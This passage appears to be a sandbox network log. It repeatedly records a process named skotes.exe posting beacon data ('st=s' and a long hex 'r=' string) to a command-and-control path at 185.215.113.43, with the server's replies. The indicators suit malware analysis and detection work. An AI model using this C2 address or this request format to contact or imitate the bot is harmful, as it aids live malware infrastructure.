Nov 15, 2024 16:21:34.886045933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	59665	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:36.510817051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:37.426240921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	59666	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:38.949274063 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:39.843681097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	59668	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:41.480401039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:42.382491112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	59669	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:43.902628899 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:44.850641966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	59670	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:46.484630108 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:47.408957005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	59671	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:48.931927919 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:49.841089010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	59672	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:51.479633093 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:52.403309107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	59673	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:53.918199062 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	59676	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:56.390156984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:21:57.296159029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	59677	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:21:58.824481964 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:21:59.738190889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	59678	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:01.356492043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:02.262867928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	59679	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:03.786102057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:04.711504936 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	59680	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:06.406207085 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:07.317912102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	59681	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:08.840224981 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:10.008827925 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 15, 2024 16:22:10.010013103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	59682	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:11.637355089 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:12.540869951 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	59683	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:14.066206932 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:15.011915922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	59684	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:16.639874935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:17.570333958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	59685	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:19.089718103 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:19.991460085 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	59686	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:21.622312069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:22.512475967 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	59687	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:24.025439024 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:24.997586966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	59688	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:26.638453960 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:27.548902988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	59689	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:29.059354067 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:29.989717007 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	59690	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:31.953114033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:32.857904911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	59691	185.215.113.43	80	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
